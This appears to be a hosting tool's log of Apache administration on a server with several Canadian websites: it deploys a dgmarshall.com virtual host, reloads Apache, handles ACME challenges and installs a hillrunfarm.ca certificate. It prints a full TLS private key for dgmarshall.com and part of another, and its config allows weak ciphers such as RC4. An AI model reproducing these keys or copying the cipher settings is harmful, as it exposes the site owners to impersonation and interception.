    CustomLog	/var/log/apache2/dgmarshall/www_secure_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-04-10 06:00:29: 

PUT: /tmp/pkp201440

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=dgmarshall_www_com.conf
TARGET=/etc/apache2/sites-enabled/dgmarshall_www_com.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	dgmarshall.com
    ServerAlias	www.dgmarshall.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgmarshall.com
    ServerAlias	www.dgmarshall.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/dd152e01fe9ba41e566c0f966e8e26d3.crt
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_secure_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/dgmarshall_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/dgmarshall_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/dgmarshall_www_com.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/dgmarshall_www_com.conf= 1'
fi


2026-04-10 06:00:29: 

chmod 755 /tmp/pkp201440; /tmp/pkp201440; rm /tmp/pkp201440

2026-04-10 06:00:29: 




2026-04-10 06:00:29: 

PUT: /tmp/pkp992321

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-10 06:00:29: 

chmod 755 /tmp/pkp992321; /tmp/pkp992321; rm /tmp/pkp992321

2026-04-10 06:00:29: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-10 06:00:29: Establishing a connection
2026-04-10 06:00:29: 

PUT: /tmp/pkp825133

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-04-10 06:00:29: 

chmod 755 /tmp/pkp825133; /tmp/pkp825133; rm /tmp/pkp825133

2026-04-10 06:00:29: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-10 06:00:29: 

PUT: /tmp/pkp467549

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/dgmarshall_www_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-10 06:00:29: 

chmod 755 /tmp/pkp467549; /tmp/pkp467549; rm /tmp/pkp467549

2026-04-10 06:00:29: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/dgmarshall_www_com.conf	1383

<VirtualHost *:80>
    ServerName	dgmarshall.com
    ServerAlias	www.dgmarshall.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgmarshall.com
    ServerAlias	www.dgmarshall.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/dd152e01fe9ba41e566c0f966e8e26d3.crt
    DocumentRoot	/var/www/dgmarshall_www
    <Directory /var/www/dgmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/dgmarshall/www_secure_access.log combined
    ErrorLog	/var/log/apache2/dgmarshall/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-04-10 06:00:29: 

PUT: /tmp/pkp903007

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/dd152e01fe9ba41e566c0f966e8e26d3.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-10 06:00:30: 

chmod 755 /tmp/pkp903007; /tmp/pkp903007; rm /tmp/pkp903007

2026-04-10 06:00:30: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/dd152e01fe9ba41e566c0f966e8e26d3.crt	5365
96:c4:a1:c3:a9:c2:9a:2b:d9:34:78:73:ec:14:b4:54

-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBufz3v3hGf2xHvYJbtQfVoy6MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNDEwMDUwMTU3WhcNMjYwNzA5MDUwMTU2WjAZMRcwFQYDVQQD
Ew5kZ21hcnNoYWxsLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AN4aEK1gPS1thCUqcWIYOlwv4X32abWVFDE5EaJ2y4LMuXEAAOk1YnzJSYmpJ36i
ZYZcrggY6sWR9bgT3qcdZ+yDmYc0F9cvC8YRZ3gymErS0KIyiuZ8h+3nHTsxAGPT
trV8fN4T33KkiRwvXK3NQEf5xfJd9qT09bRFx8JFdGb9f3THyPwNKQu/RsL9WJCN
CuqotxwkD03XI3A1wqgBkoodbiDHcm86A1i2GoasOhxuv1Ju4zteCxu1YXxaxrUL
waiZCNzVtSFsGCCcDh2Cjfv0DPGnvJuW2nEAEelZiU+xGFGPvoG7zn0KMDK1Sw8n
4ozGlLh8Hq81ZCu3NE547+8CAwEAAaOCAi8wggIrMA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBT/SkMm
LCErn2gyGqc3z/6o9AfxQjAfBgNVHSMEGDAWgBQAtSnyLY5vMeibTK14Pvrc6QzR
0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTIuaS5sZW5j
ci5vcmcvMC0GA1UdEQQmMCSCDmRnbWFyc2hhbGwuY29tghJ3d3cuZGdtYXJzaGFs
bC5jb20wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMi5jLmxlbmNyLm9yZy81OS5jcmwwggELBgorBgEEAdZ5AgQCBIH8BIH5
APcAdgDCMX5XRRmjRe5/ON6ykEHrx8IhWiK/f9W1rXaa2Q5SzQAAAZ11+j3tAAAE
AwBHMEUCIF3uR6WyOMeKV1NUD2YgMU3oDCq41JyAix1NsWXkfuIQAiEAqB/IntC6
Ox3hbjUHEgYhlNViL7aAww9qlRIDCtb18TcAfQBs/lAZQ6heqRa8UtEz5NzJHvFB
HH0lhCDRc4CeGBjrOgAAAZ11+kD2AAgAAAUABpJW1AQDAEYwRAIgEh5drzvulyHr
EqsAPurCI9v61f7Nagyiy8OrHBbaJsECIA3xXyUqqcjQCsY5HWavK68vOsG5DElT
0R3nufV0+HDtMA0GCSqGSIb3DQEBCwUAA4IBAQDRDbb2X0exTzG6UtC0omC3Jw1j
3/+QjmaQnPr9olivmT+HUb1nYB7vvUiAEhtj0IzNZf7nGROtxnYwNk8q80jjS3oA
glbGWXDd20jIefjRn/V3hcMeDT7KPY5aDPPt5J/Co4z/2VenHscNIpWSDrARXFMF
vdyhjerFNmqQQtUJ1Rv4MApVoOH0dKh1kGZ42p4jOgR5Nxc51YCJEZYEyTAqCKY2
vtX4GBD5LW9i/5JVtfr/qKzPgw10b5Ik/cXkeQQXLEyw41Tr8WfqthOUW4KowV+6
c+uVcFS9oYkiHccA4ou71nxd9UNzpNfDVTVTAUFYwAxhJMwQKqr5xDGljPYi
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDeGhCtYD0tbYQl
KnFiGDpcL+F99mm1lRQxORGidsuCzLlxAADpNWJ8yUmJqSd+omWGXK4IGOrFkfW4
E96nHWfsg5mHNBfXLwvGEWd4MphK0tCiMormfIft5x07MQBj07a1fHzeE99ypIkc
L1ytzUBH+cXyXfak9PW0RcfCRXRm/X90x8j8DSkLv0bC/ViQjQrqqLccJA9N1yNw
NcKoAZKKHW4gx3JvOgNYthqGrDocbr9SbuM7XgsbtWF8Wsa1C8GomQjc1bUhbBgg
nA4dgo379Azxp7ybltpxABHpWYlPsRhRj76Bu859CjAytUsPJ+KMxpS4fB6vNWQr
tzROeO/vAgMBAAECggEAYQDyWr7nSWGFLzRX3Ben2Z6h9kF6zu+DJ7J8tL/8x66B
qcxuGW0TDFxfrWu/T6w++k2dRvUXCN5kexbWjpelzaN2mRoT9YxbMJFmZxV19WwY
6lZ32w310l64IiOXP4J20NJDuTzlwW0CY1h+OnykQCtjnKUUddx1OdymT//ExLvP
kSbu5P8qi7jOxvvtXQYYFC8p5Siv6600d7Y8RnsUtWwSg4fdfk5X0MsuNqaSamlv
R38VZzdt4U9SZPnozMmsfyGHznGK2xzc4wcRQ4vkp2FHNMPSEctqrZzfp+XCRk3/
KlvTie1YGmtSum27jYTuRuKVEjj3zO1VNtLdHQqaKQKBgQD3hduN2JOHp+WTfAqt
CxDh6vPXMz7ZtRsqkdVNhqE50X84WMBxVMlY1NdRBksf31ufg0RFrL1VZZUpygpq
h5DOEsJ2QGMYKR98CnvHgc6H9KOUXD3wUhdKiZ4hv4FoZf3Qz+5aJT0HP5tsEoyI
pguV4mJIs0x5UDQNB4nhsqbiNwKBgQDltVRvAz3RrZaJn6wNSjhOz3G07YubL1Kc
DmA1DSIx8hsIjVlMr1mF7gAuzcaJcLHRzrBvvGKfLPalOjTMLqyr5PQzAxv8fLxR
CCkwqMuepVmiEZCkV/Ah2xbIJZw0SMz72TLCZuy0fLXDrRp0Qh7hraBOGxtVqnG0
DAz7mu7kCQKBgQCqDlszbxKc5utBkr06+hlVPbjdpyWNKXJKovrrUo2+TYKcUc2V
j2zuDP0Je8ttUGWAiA0F2ZIS88Gxfk/9tLn1+smDuOTcGpS5AfLctQASRC+GpIEh
dSTvXvE3unzMHxZsug7F/EObkUXU0EGhOINJLMndrOHjjwjT0tQWLkmdrQKBgBwQ
jnNNuxTOF5FS78tj4QNH9wV67E6WdopYe0qgAyiFAuaFln53AgIJ9P3C6FnMaf1P
OmE8a/Q0oyHGvcKghTovK+K7o4SynLNtwtKOHOqSGyRg7wIVOGJ6iQsFBVOh/WFb
xQbZWlwmzHJOyOehWHKMKwS/7RQHUgMEYeWvpTY5AoGAUxOdAuuCn9GRYBBaksT4
pD6cDm4noCYTGrJZujTO3QOsPgun2pzzOdVpI1eqNRq2pE3F3J/TZ24kW/R3Zobe
bRyBE0YQ50TtRFh2fZ+uypNv/WQ8NuOU/ScBOo0PEFYE9u16+DR3/jC2KFut0kLC
QPtIBOYa6DWWsnuMSe05n8g=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-04-10 06:00:30: Establishing a connection
2026-04-10 06:00:30: Establishing a connection
2026-04-10 06:00:30: 

PUT: /tmp/pkp250092

#!/bin/bash
if [ -d "/var/www/hillrunfarm_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-10 06:00:30: 

chmod 755 /tmp/pkp250092; /tmp/pkp250092; rm /tmp/pkp250092

2026-04-10 06:00:30: 


1


2026-04-10 06:00:31: Establishing a connection
2026-04-10 06:00:31: 

PUT: /tmp/pkp782433

#!/bin/bash
mkdir -p "/var/www/hillrunfarm_www/.well-known/acme-challenge/"
cd "/var/www/hillrunfarm_www/.well-known/acme-challenge/"
cat > q1tiTkPh9MuGJukyY2G7x-R2k-kpVqyFungzUHRC3eI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
q1tiTkPh9MuGJukyY2G7x-R2k-kpVqyFungzUHRC3eI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 q1tiTkPh9MuGJukyY2G7x-R2k-kpVqyFungzUHRC3eI
cat > 04f-PzxmC68A9fa_isH4VMH08mc7dZ8sT02DFXw3aeo <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
04f-PzxmC68A9fa_isH4VMH08mc7dZ8sT02DFXw3aeo.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 04f-PzxmC68A9fa_isH4VMH08mc7dZ8sT02DFXw3aeo


2026-04-10 06:00:31: 

chmod 755 /tmp/pkp782433; /tmp/pkp782433; rm /tmp/pkp782433

2026-04-10 06:00:31: 




2026-04-10 06:00:42: Establishing a connection
2026-04-10 06:00:42: 

PUT: /tmp/pkp379932

#!/bin/bash
mkdir -p "/var/www/hillrunfarm_www/.well-known/acme-challenge/"
cd "/var/www/hillrunfarm_www/.well-known/acme-challenge/"
rm q1tiTkPh9MuGJukyY2G7x-R2k-kpVqyFungzUHRC3eI
rm 04f-PzxmC68A9fa_isH4VMH08mc7dZ8sT02DFXw3aeo


2026-04-10 06:00:42: 

chmod 755 /tmp/pkp379932; /tmp/pkp379932; rm /tmp/pkp379932

2026-04-10 06:00:42: 




2026-04-10 06:00:42: Establishing a connection
2026-04-10 06:00:42: 

PUT: /tmp/pkp860057

#!/bin/bash
temp_file=$(mktemp)
TARGET=1580003f2048ce1d2a11cc5c78c90447.crt

cat > $temp_file <<'endmsg'
c6:38:07:70:86:a3:51:bf:32:ec:de:48:48:83:23:a0

-----BEGIN CERTIFICATE-----
MIIFCDCCA/CgAwIBAgISBgHclFQpUK8eYtL25z9lr4GGMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDEwMDUwMjEwWhcNMjYwNzA5MDUwMjA5WjAZMRcwFQYDVQQD
Ew5oaWxscnVuZmFybS5jYTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AMyLyH+p35pkyCMX9b1vsAlspkDUwaGTsB/rm9mPJe/N535iUEfAvoxGOPbRL1Vl
it1k4IrR+TaHDCcOhgc1AkCwBEaeIs1MHtj1EXdwFR8oxOh03AGEr9Nqw9A0twpo
Kr2GtwwSMMkRWrOVRNpLqaJ4YHw5MF1dYAAWX19hfvDBwRbIWPfhi0AQ7nrsYGKA
l2jrPCVN8khOGo0HNJrTuVEm+I3/hzz3/ZWXh4CrbC9x9ExZfeJ7HRLg7jfyr1QH
wGkEC5dqxV0TdyV0ROIi3IVtvMV6jUqExdY8Py7AavspaDwEIxcsUpTNgHACkRj0
Pz4o5nsL++iVyXth31PJdz0CAwEAAaOCAi4wggIqMA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBTaEVza
KDFYanJM16JFNge+hhnYVjAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jIsoQOO9aS
MzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMuaS5sZW5j
ci5vcmcvMC0GA1UdEQQmMCSCDmhpbGxydW5mYXJtLmNhghJ3d3cuaGlsbHJ1bmZh
cm0uY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLQYDVR0fBCYwJDAioCCgHoYcaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy83LmNybDCCAQsGCisGAQQB1nkCBAIEgfwEgfkA
9wB2AK9niDtXsE7dj6bZfvYuqOuBCsdxYPAkXlXWDC/nhYc6AAABnXX6cykAAAQD
AEcwRQIhAJY/OcHhw2snc+UKx8+1oL7KqoV1VzzBM6HYed+6pw5LAiB6zxl/vYty
NKRbkfqnupHby5z+cMmQ+prnSXiuK8SILwB9ABqLnWsP/r+BtHk5xtIxCobW0QLU
8EbiGCyd419eJiXvAAABnXX6deQACAAABQAH/zBZBAMARjBEAiAwhal6kTBB12cy
mzEge19+5dpjtFbpNV67xHvop9MJQQIgZM1lsLwo36wiH4u6A+lReLQwSF+W5SG4
kw1Z+PulqYkwDQYJKoZIhvcNAQELBQADggEBAFW4oQGMCRml54S488G4zZiNCvEQ
ABdTUsf++YxlhIont0Ae4l6ubj1jBb1SDrwXse0+y97n7zS7hul5Tf2uaYRBiS6/
CEJEwudxHch8LR9dQRh5Ztcl+88bnHfmtw6sRZQHSSQqk8BuoxkD8YQPT+0esq1M
ldf3jUeXk0GsRP4SRrPAbNlGH3HAgj7mGicjBFV3dVNOHVr7XzOuLqMu8BABGI71
tPTGW7oAXzvzrOwu7ULUF776ppHrskt61n73G/f8PFIcayzyuFomtvLsp8l07UZj
x2Ilpu7Il1mU9s6l7O+5VAH0U3K+VFTWzw8n9TrH/5sj6STDk4bMjgCxcVg=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDMi8h/qd+aZMgj
F/W9b7AJbKZA1MGhk7Af65vZjyXvzed+YlBHwL6MRjj20S9VZYrdZOCK0fk2hwwn
DoYHNQJAsARGniLNTB7Y9RF3cBUfKMTodNwBhK/TasPQNLcKaCq9hrcMEjDJEVqz
lUTaS6mieGB8OTBdXWAAFl9fYX7wwcEWyFj34YtAEO567GBigJdo6zwlTfJIThqN
BzSa07lRJviN/4c89/2Vl4eAq2wvcfRMWX3iex0S4O438q9UB8BpBAuXasVdE3cl
dETiItyFbbzFeo1KhMXWPD8uwGr7KWg8BCMXLFKUzYBwApEY9D8+KOZ7C/volcl7
Yd9TyXc9AgMBAAECggEAKGkybLRvQoXIO5SzfmBnN0lxpCvUcHto57mI8ifTnye/
JUs/oJluG/EQtoSX9SdpUrmoGg0HTzRJnJrENH7OyeBsi9YYupYgHw11zLLGXYBU
